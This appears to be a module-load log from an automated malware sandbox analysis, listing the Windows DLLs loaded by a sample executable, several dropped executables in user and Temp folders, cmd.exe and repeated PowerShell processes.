Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll
Source: C:\Windows\explorer.exe	Section loaded: cdprt.dll
Source: C:\Windows\explorer.exe	Section loaded: smartscreenps.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
